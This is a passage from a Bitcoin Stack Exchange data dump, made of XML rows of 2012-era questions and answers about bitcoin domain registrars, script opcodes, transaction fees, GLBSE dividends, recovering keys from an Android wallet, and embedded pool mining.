noreferrer&quot;&gt;https://secure.orangewebsite.com/cart.php?a=add&amp;amp;domain=register&lt;/a&gt; (not so many top-level domains)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.privacyshark.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.privacyshark.com/&lt;/a&gt; (anonymous, but not clear which top-level domains are offred)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.frankdomains.com/btc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.frankdomains.com/btc&lt;/a&gt; (all top-level domains and all European TLDs e.g. .com, .xxx, &lt;a href=&quot;http://www.frankdomains.com/why-register-.travel-domain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.travel&lt;/a&gt;, .at (Austria) through to .com.ua (Ukraine) and all countries inbetween Also &lt;a href=&quot;http://www.frankdomains.com/register-new-gtlds/&quot; rel=&quot;nofollow noreferrer&quot;&gt;all New gTLDs&lt;/a&gt; as they come online)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.namecheap.com/support/payment-options/bitcoin.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.namecheap.com/support/payment-options/bitcoin.aspx&lt;/a&gt; (Namecheap: Many TLD's)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;More offers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.domenburg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.domenburg.com&lt;/a&gt; (Instant registration after 1 btc confirmation, 500+ TLDs: ru, com, net, org, co, pro, in, biz, us, eu, mobi, asia, name, tel, co.in, tv, me, info, ws, bz, cc, ca, de, es, ...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2020-12-10T21:48:37.260" LastActivityDate="2020-12-10T21:48:37.260" CommentCount="0" CommunityOwnedDate="2014-03-04T14:53:00.707" ContentLicense="CC BY-SA 4.0" />
  <row Id="3232" PostTypeId="2" ParentId="3230" CreationDate="2012-03-19T19:14:26.133" Score="2" Body="&lt;p&gt;There is a list of domain registration services at &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&lt;/a&gt;. Among them, I could find .RU registration only at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cinfu.com/domains/&quot; rel=&quot;nofollow&quot;&gt;http://www.cinfu.com/domains/&lt;/a&gt; ($9.17/year)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kalyhost.com/domain.html&quot; rel=&quot;nofollow&quot;&gt;https://www.kalyhost.com/domain.html&lt;/a&gt; (for 18 EURO a year = 4.45BTC)&lt;/li&gt;&#xA;&lt;li&gt;???&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="817" LastActivityDate="2012-03-19T19:14:26.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3233" PostTypeId="2" ParentId="3228" CreationDate="2012-03-19T19:15:22.650" Score="1" Body="&lt;p&gt;I don't think anyone is intentionally destroying large amounts of Bitcoin.  Some relatively large amounts have been destroyed accidentally, due to hardware and software failures.  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7253&quot; rel=&quot;nofollow noreferrer&quot;&gt;This thread&lt;/a&gt; is an attempt to count all the lost Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget that each of the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/161/659&quot;&gt;21 million&lt;/a&gt; total Bitcoins is divisible into 100 million parts.  So it's considered that there's plenty to go around, and the more that is destroyed, the more the remaining ones will be worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, don't confuse the term &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/845/659&quot;&gt;bitcoin days destroyed&lt;/a&gt;&quot; which is sometimes used with destroying the coins themselves.  This &quot;days destroyed&quot; measure is sometimes used as a measure of velocity in the bitcoin economy, and doesn't really measure destruction of anything.  If you have 10 bitcoins for 7 days in the same place, we can say they have an age of &quot;70 bitcoin days&quot;.  If you spend them, the new coins will have an age which starts again from zero.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-03-19T19:15:22.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3234" PostTypeId="1" AcceptedAnswerId="3235" CreationDate="2012-03-19T21:00:46.540" Score="2" ViewCount="289" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Stack&quot; rel=&quot;nofollow&quot;&gt;the wiki page&lt;/a&gt;, &lt;code&gt;OP_IFDUP&lt;/code&gt; will duplicate the top of the stack &quot;if the input is true or false&quot;.  It seems to me that everything is true or false when interpreted as a boolean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case OP_IFDUP:&#xA;    [...]&#xA;    valtype vch = stacktop(-1);&#xA;    if (CastToBool(vch))&#xA;        stack.push_back(vch);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That suggests the wiki is incorrect.  What would be a better way of wording it, and what is the operation for?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2020-04-17T08:07:17.697" Title="What does script operation &quot;OP_IFDUP&quot; do?" Tags="|script|bitcoin-wiki|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3235" PostTypeId="2" ParentId="3234" CreationDate="2012-03-19T21:27:50.993" Score="2" Body="&lt;p&gt;It duplicates the top stack item if the top stack item is not 0 and not negative 0. I'm not sure where this would be useful.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-03-19T21:27:50.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3236" PostTypeId="1" AcceptedAnswerId="3238" CreationDate="2012-03-19T23:01:55.550" Score="4" ViewCount="444" Body="&lt;p&gt;I found a GLBSE ticker that I want to invest in. The people behind it claim that it pays dividends (see &lt;a href=&quot;http://www.blockminers.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.blockminers.com/index.php&lt;/a&gt;). If I buy this stock on GLBSE, where do my dividends go? Into my GLBSE account balance?&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2012-03-19T23:19:22.007" Title="How do dividends work on GLBSE?" Tags="|trading|glbse|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3237" PostTypeId="1" CreationDate="2012-03-19T23:05:22.397" Score="2" ViewCount="452" Body="&lt;p&gt;Assuming all Bitcoins had been discovered and fees were paid in US dollars (please ignore the obvious problems), what would an appropriate fee be? Would it depend on the size of the transaction? How would it scale? &lt;/p&gt;&#xA;" OwnerUserId="367" LastEditorUserId="2306" LastEditDate="2013-03-28T22:22:51.927" LastActivityDate="2013-03-28T22:22:51.927" Title="If Fees Were Paid In US Dollars, What Would They Be?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3238" PostTypeId="2" ParentId="3236" CreationDate="2012-03-19T23:19:22.007" Score="4" Body="&lt;p&gt;Dividends do indeed go into your GLBSE account balance, which you can withdraw to a Bitcoin address if you so wish. (&lt;a href=&quot;https://glbse.com/forum/viewtopic.php?f=24&amp;amp;t=14#p59&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-03-19T23:19:22.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3239" PostTypeId="1" CreationDate="2012-03-19T23:31:54.237" Score="7" ViewCount="13829" Body="&lt;p&gt;The graph: &lt;a href=&quot;http://blockchain.info/charts/cost-per-transaction&quot; rel=&quot;nofollow&quot;&gt;Bitcoin mining cost per transaction&lt;/a&gt; leaves an ambiguity. Who pays the transaction costs? &lt;/p&gt;&#xA;" OwnerUserId="367" LastEditorUserId="5406" LastEditDate="2016-04-17T18:56:23.217" LastActivityDate="2018-04-11T11:11:56.670" Title="Who currently pays the miners for processing transactions?" Tags="|transactions|mining-reward|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3240" PostTypeId="1" AcceptedAnswerId="3246" CreationDate="2012-03-20T00:02:46.737" Score="11" ViewCount="895" Body="&lt;p&gt;On the bitcointalk forum, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=68906.msg804057#msg804057&quot;&gt;evoorhees wrote&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For a long time people said the &quot;waiting for six confirmations&quot; was a&#xA;  significant drawback, but most people understand that problem has been&#xA;  almost entirely eradicated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=68906.msg805790#msg805790&quot;&gt;Revalin replied&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;as you mentioned we have an elegant potential solution to the&#xA;  confirmation delays, though I haven't seen any moves to actually&#xA;  implement it yet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How has the problem of waiting for confirmations been eradicated?  What is this elegant potential solution?  The first quote seems to imply the problem is already solved, whereas the 2nd says the solution hasn't been implemented yet.  Which is it?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-20T05:37:00.277" Title="How has the problem of waiting for confirmations been eradicated?" Tags="|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3241" PostTypeId="2" ParentId="3239" CreationDate="2012-03-20T00:19:33.197" Score="4" Body="&lt;p&gt;In a transaction, you pull in funds from one or more sources and send out funds to one or more places. A transaction may not send out more funds than were paid into it. The transaction fee is simply the difference between the funds sent out and the funds pulled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, look at transaction &lt;a href=&quot;http://blockexplorer.com/tx/31b39c2bed53253561f5c4957aea68644877efe7c2a9fb2f642837029de30e2a&quot; rel=&quot;nofollow&quot;&gt;31b39c2bed53253561f5c4957aea68644877efe7c2a9fb2f642837029de30e2a&lt;/a&gt;. It has five inputs, each .5 bitcoins, for 3.5 bitcoins. It has two outputs, one .01 bitcoins and one 2.48 bitcoins for 2.49 bitcoins total. So the transaction pays a fee of .01 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fee is paid from the transaction inputs. Each entity in the Bitcoin system can make its own decisions about transaction fees. When a transaction is formed, the program creating the transaction typically decides what the fee will be and constructs the transaction accordingly. When a server receives a transaction, it can decide if the fee is high enough to justify relaying it or it can refuse to relay it. And a miner can decide which valid transactions to include in blocks it mines based on transaction fees however it wants. The Bitcoins system does not require any agreements on transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="659" LastEditDate="2012-03-20T00:44:24.727" LastActivityDate="2012-03-20T00:44:24.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3242" PostTypeId="5" CreationDate="2012-03-20T00:43:06.677" Score="0" Body="&lt;p&gt;GLBSE provides tools to sell stock for bitcoins, pay dividends and various other stock exchange functions.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-03-21T05:10:59.517" LastActivityDate="2012-03-21T05:10:59.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3243" PostTypeId="4" CreationDate="2012-03-20T00:43:06.677" Score="0" Body="The Global Bitcoin Stock Exchange (GLBSE) at https://glbse.com/ is a web based stock exchange system." OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-03-21T05:11:02.263" LastActivityDate="2012-03-21T05:11:02.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3244" PostTypeId="2" ParentId="3239" CreationDate="2012-03-20T00:43:27.893" Score="8" Body="&lt;p&gt;According to the &lt;a href=&quot;http://blockchain.info/charts&quot;&gt;list of available charts&lt;/a&gt;, that chart is showing &quot;miners revenue divided by the number of transactions&quot;.  That is, it's the average amount a miner earns for each transaction they process.  &quot;Bitcoin mining cost per transaction&quot; isn't a very good title for the chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, the vast majority of miners' earnings comes from the 50 BTC per block rewards, with a tiny fraction coming from the transaction fees paid by the people creating transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, nobody pays the vast majority of the cost; it is created out of thin air as the reward for mining a block.  You could see it that each new block generated inflates the money supply and so devalues all existing Bitcoins, in which case you could argue that everyone holding Bitcoin is paying via inflation.  But the inflation is predictable, and so already priced in.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-20T00:43:27.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3245" PostTypeId="2" ParentId="3139" CreationDate="2012-03-20T01:30:10.900" Score="-3" Body="&lt;p&gt;The problem is if someone else manages to generate the same vanity address with the same private key, then that person will have access to your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I personally prefer giving out the &quot;ugly&quot; addresses as it would be unlikely someone else will have the private key to that one.&lt;/p&gt;&#xA;" OwnerUserId="1190" LastActivityDate="2012-03-20T01:30:10.900" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3246" PostTypeId="2" ParentId="3240" CreationDate="2012-03-20T05:30:08.397" Score="5" Body="&lt;p&gt;Perhaps they are referring to the green address technique.  Some exchanges support this now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Green_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Green_address&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or they might be referring to the ability to protect against a race attack by listening to many nodes so as to learn of any double spend race attack attempts.  That doesn't eliminate the risk entirely but helps to bring it to a level that the merchant can manage.  There has been progress towards doing this listening with varying results ( &lt;a href=&quot;http://www.transactionradar.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.transactionradar.com&lt;/a&gt; and &lt;a href=&quot;http://blockchain.info/double-spends&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockchain.info/double-spends&lt;/a&gt; ) but there is no service built yet for merchants that provides transaction monitoring and alerting when double spend attempts are detected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/2625/153&quot;&gt;https://bitcoin.stackexchange.com/a/2625/153&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-03-20T05:37:00.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3247" PostTypeId="1" AcceptedAnswerId="3251" CreationDate="2012-03-20T05:43:27.897" Score="9" ViewCount="11051" Body="&lt;p&gt;A while back, I installed the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.bitcoinandroid&quot;&gt;Bitcoin Android app&lt;/a&gt; and moved 5 BTC on it. Fast forward to now, new phone, new ROM, and the app seems completely unwilling to update its blockchain, meaning I have no way to move my BTCs  elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the source, it's built on an early version of BitcoinJ, where the wallet file is essentially a serialized Wallet class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A look at the wallet file itself isn't too friendly, although I'm sure the private key is somewhere in there in a relatively straightforward form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that leaves me with the following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;write a little Java app that links against the same version of BitcoinJ, load the Wallet file, grab the private key and print it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;write a really dumb script that extracts every 32 bytes sequence from the wallet file, treat it as a private key, map it to a public key, check blockexplorer.com for any activity associated with it. Or just import every one of those sequences into a bitcoin client and let it suffer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Before I embark on my Quest For Five Bitcoins, is there already something out there that can parse BitcoinJ wallet files and export keys from them?&lt;/p&gt;&#xA;" OwnerUserId="1191" LastEditorUserId="196" LastEditDate="2012-03-21T10:05:49.887" LastActivityDate="2017-10-23T10:36:31.743" Title="Is there a known way to export my wallet private key from the &quot;Bitcoin Android&quot; app (com.bitcoinandroid)?" Tags="|wallet|bitcoinj|android|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3248" PostTypeId="2" ParentId="3237" CreationDate="2012-03-20T06:37:47.190" Score="3" Body="&lt;p&gt;Instead of asking what would be the fees if they were paid in US dollars, I think you meant to ask &quot;what will be the purchasing power of the transaction fees, measured in today's US dollars&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some discussion of this at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/876/&quot;&gt;How much will transaction fees eventually be?&lt;/a&gt; but the short answer is that nobody knows. Left to their own devices the fees will be close to 0, which is a problem. No consensus has been achieved on how to fix the problem. Personally I think the goal should be fees on the order of 0.1% + 1 cent.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-03-20T06:37:47.190" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3249" PostTypeId="2" ParentId="3247" CreationDate="2012-03-20T19:34:26.633" Score="4" Body="&lt;p&gt;I would try option 1 first, if you can find the right version of the library.  I'd be willing to try making a general purpose tool to do it, but don't have an Android phone.  Is there any way you can make a new, empty wallet and put a copy online somewhere along with a corresponding bitcoin address or two?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're attempting option 2, you probably know at least one of the addresses in the wallet, and so wouldn't need to hit blockexplorer for every guess.  You would expect the private keys to be evenly spread through the wallet, so once you've found a few you can make smarter guesses about where the rest are.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-20T19:34:26.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3251" PostTypeId="2" ParentId="3247" CreationDate="2012-03-21T08:47:17.893" Score="2" Body="&lt;p&gt;I &lt;a href=&quot;http://gary-rowe.com/agilestack/2011/12/28/how-to-recover-lost-bitcoins-from-an-android-wallet/&quot; rel=&quot;nofollow&quot;&gt;wrote up a detailed answer&lt;/a&gt; to this some ago. Essentially, you will need to root your phone and extract the wallet file with apd. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've got that you can decode it by looking within the serialized wallet with a Java debugger attached looking for an ECKey reference. Then, once you have the private key you can simply hand it over to MtGox who will do the decode for you and then you can transfer the bitcoins wherever you like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the BitCoinJ project contains &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/master/examples/src/main/java/org/bitcoinj/examples/DumpWallet.java&quot; rel=&quot;nofollow&quot;&gt;several useful example tools&lt;/a&gt; in the source tree. Perhaps using one of those will help you with the deserialization. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="34538" LastEditDate="2016-04-06T09:03:31.543" LastActivityDate="2016-04-06T09:03:31.543" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3252" PostTypeId="1" CreationDate="2012-03-21T18:26:18.797" Score="3" ViewCount="581" Body="&lt;p&gt;I've been messing about with TCP/IP stacks on some fairly powerful MCU's lately (mostly the ARM M4 series), and this sort of led to the crazy idea, that I could somehow create an embedded platform specifically for mining (using FPGA's as co-processors). I've dabbled in pool mining just for fun, but came to the realization I actually have no idea how it works,&#xA;protocol wise. I already have the hardware scattered around my house somewhere, so it could be a fun (ie, time consuming) project!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the bitcoin client does several things, such as validation of all blocks, handling transactions, address, wallets etc. But for an embedded miner solely involved in a pool operation, what exactly would be the minimum functionality? As I understand it, the pool largely handles everything, and all you are required to do is receive/send data through JSON-RPC and process it. Is that really all there is to it? Or am I missing something absurdly important? Any clarifications would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="1194" LastEditorUserId="5406" LastEditDate="2016-04-17T20:16:10.707" LastActivityDate="2016-04-17T20:16:10.707" Title="Running Miner as embedded system (No OS) - Can it be done?" Tags="|json-rpc|mining-hardware|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3254" PostTypeId="2" ParentId="3252" CreationDate="2012-03-21T19:48:54.620" Score="2" Body="&lt;p&gt;That's about all there is to it.  You don't need to handle the Bitcoin protocol or worry about the blockchain, the mining pool does all that for you.  Just issue a request for 'work' to the pool using the JSON-RPC interface.  Hash the supplied work with different nonces over and over until you get a hash less than the given target, and use the JSON-RPC interface to submit successes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to poll for new work in a separate thread, so you know when the block you're working on has been found by someone else.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-21T19:48:54.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3255" PostTypeId="1" AcceptedAnswerId="5098" CreationDate="2012-03-21T23:30:11.487" Score="3" ViewCount="332" Body="&lt;p&gt;I'm currently &lt;a href=&quot;https://bitcointalk.org/index.php?topic=66300.0&quot; rel=&quot;nofollow&quot;&gt;trying to figure out&lt;/a&gt; how to properly use Getmemorypool for mining and I'm having some problems with it. Are there any examples provided somewhere on how to properly call that RPC with some data (for example showing a call with a block that ended up in the testnet block chain)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-18T20:05:42.773" Title="Getmemorypool example?" Tags="|development|json-rpc|raw-data|getmemorypool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3256" PostTypeId="1" AcceptedAnswerId="3303" CreationDate="2012-03-21T23:35:31.340" Score="1" ViewCount="156" Body="&lt;p&gt;What is the expected response for a getmemorypool RPC call to a standard client, when calling it with data field? I'm mainly interested in such factors as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will the call return true if a sent block is not at the end of a block chain (for example, creates a fork or otherwise invalidates some other blocks)?&lt;/li&gt;&#xA;&lt;li&gt;Will the call return false if the client is BitcoinQT, not bitcoind?&lt;/li&gt;&#xA;&lt;li&gt;Will the call return true if the same block is submitted more than once?&lt;/li&gt;&#xA;&lt;li&gt;Will the call return true if the block does not contain all transactions sent earlier, or contains some transactions that the client does not know about?&lt;/li&gt;&#xA;&lt;li&gt;Are there any other specific cases one should know about when coding for this call?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-03-22T03:05:25.103" LastActivityDate="2012-03-27T17:39:51.637" Title="Getmemorypool responses" Tags="|protocol|development|bitcoind|json-rpc|getmemorypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3257" PostTypeId="1" CreationDate="2012-03-21T23:45:35.913" Score="9" ViewCount="5059" Body="&lt;p&gt;When one sets up a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;transaction&lt;/a&gt;, the input of the transaction needs to have a script with a signature to show that you can spend those coins. Which fields of the previous and current transactions need to be concatenated into a message and signed to generate a proper signature? Can someone provide some examples?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2021-02-25T19:08:32.337" Title="Transaction signature generation" Tags="|transactions|protocol|development|ecdsa|signature|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3258" PostTypeId="1" AcceptedAnswerId="3259" CreationDate="2012-03-22T01:53:48.800" Score="12" ViewCount="2474" Body="&lt;p&gt;Square's marketing department appears to be successful at convincing some retailers to chuck their old register and instead buy an iPad, &lt;a href=&quot;https://squareup.com/receipt-printer-and-cash-drawer#printer-setup&quot;&gt;receipt printer and cash drawer&lt;/a&gt; and use the Square Register app instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this same set of hardware be used to also accept bitcoin payments?  Is there an app for accepting Bitcoin payments that will work on the iPad?  If so, can multiple apps run simultaneously?  Could the retailer print some type of receipt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Assuming the Internet access is through a Wi-Fi access point.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2016-08-02T06:14:45.910" LastActivityDate="2016-08-02T06:14:45.910" Title="Can a merchant using Square Register accept bitcoins?" Tags="|ios|retail|face-to-face-payment|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3259" PostTypeId="2" ParentId="3258" CreationDate="2012-03-22T02:35:21.163" Score="8" Body="&lt;p&gt;Bit-Pay has &lt;a href=&quot;https://bitcoin.org.uk/forums/topic/311-ann-bit-pay-mobile-checkout-this-changes-everything/&quot;&gt;a mobile app&lt;/a&gt; that allows acceptance of mobile payments. It's not native for the iPad, but it should work, albeit at a lower resolution. There are a &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#iPhone_.2F_iPad&quot;&gt;few other&lt;/a&gt; iPad apps, but none that implement any sort of payment functionality. &lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-03-22T02:35:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3262" PostTypeId="1" AcceptedAnswerId="3268" CreationDate="2012-03-23T15:20:52.273" Score="21" ViewCount="1212" Body="&lt;p&gt;I'm a programmer, and a generally smart person, but I can't understand really what bitcoin is. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it a new payment merchant like PayPal?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it a virtual currency like LindenDollars that can't be really used as money? (put money In, but not Out)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it a new currency system, where people exchange bitcoin addresses instead of real money?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1202" LastEditorUserId="5406" LastEditDate="2015-01-16T09:23:59.620" LastActivityDate="2018-07-18T12:48:52.560" Title="What is Bitcoin?" Tags="|introducing-bitcoin|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3263" PostTypeId="2" ParentId="3262" CreationDate="2012-03-23T18:10:19.783" Score="8" Body="&lt;p&gt;It's a &lt;strong&gt;distributed&lt;/strong&gt; digital cryptocurrency. The key word here is distributed, i.e. there is no central authority, instead transactions are handled peer-to-peer with a complex protocol where everyone ensures no one cheats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New bitcoins are created at a predetermined rate to people who run &quot;miners&quot;, which are a vital part of the protocol that checks for transaction genuinity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can exchange bitcoins with other hard currencies using public exchanges such as &lt;a href=&quot;http://mtgox.com&quot;&gt;Mt. Gox&lt;/a&gt;. You exchange them with other people willing to sell or buy them, just like on a stock exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details: &lt;a href=&quot;http://www.weusecoins.com&quot;&gt;http://www.weusecoins.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-03-23T18:10:19.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3265" PostTypeId="2" ParentId="1081" CreationDate="2012-03-23T22:06:02.273" Score="22" Body="&lt;p&gt;Selling electricity over the Internet. I am operating a quite powerful solar array in a sunny region where the connection to the grid is rather poor and does not allow me to feed back much. By placing some mining rigs there, I'm able to simply &quot;sell&quot; my excess electricity over the DSL line.&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="160" LastEditDate="2012-03-24T16:39:35.530" LastActivityDate="2012-03-24T16:39:35.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3266" PostTypeId="2" ParentId="3262" CreationDate="2012-03-23T22:21:16.077" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is no payment merchant like PayPal, as it is no company but an open source project and a community of users connected in a completely decentralized P2P network. It can act as a payment service similar to PayPal, but you have no intermediary and transactions are irreversible and (for the most part) free of charge. Also, Bitcoins are not on some online account that can be frozen, but only on your harddisk (similar to cash in your wallet).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is a virtual currency as it has no physical form (it's just information in the form of cryptographic keys). It can however very well be used as money in the real world and is actively exchanged for various fiat currencies or products and services (obviously in both directions).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is a new currency system where people exchange Bitcoins instead of traditional fiat money. Unlike the latter, it is however not backed by any government or corporation. Therefore it has a floating exchange rate only determined by supply and demand. In this respect Bitcoin is also similar to commodities or for example precious metals.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="160" 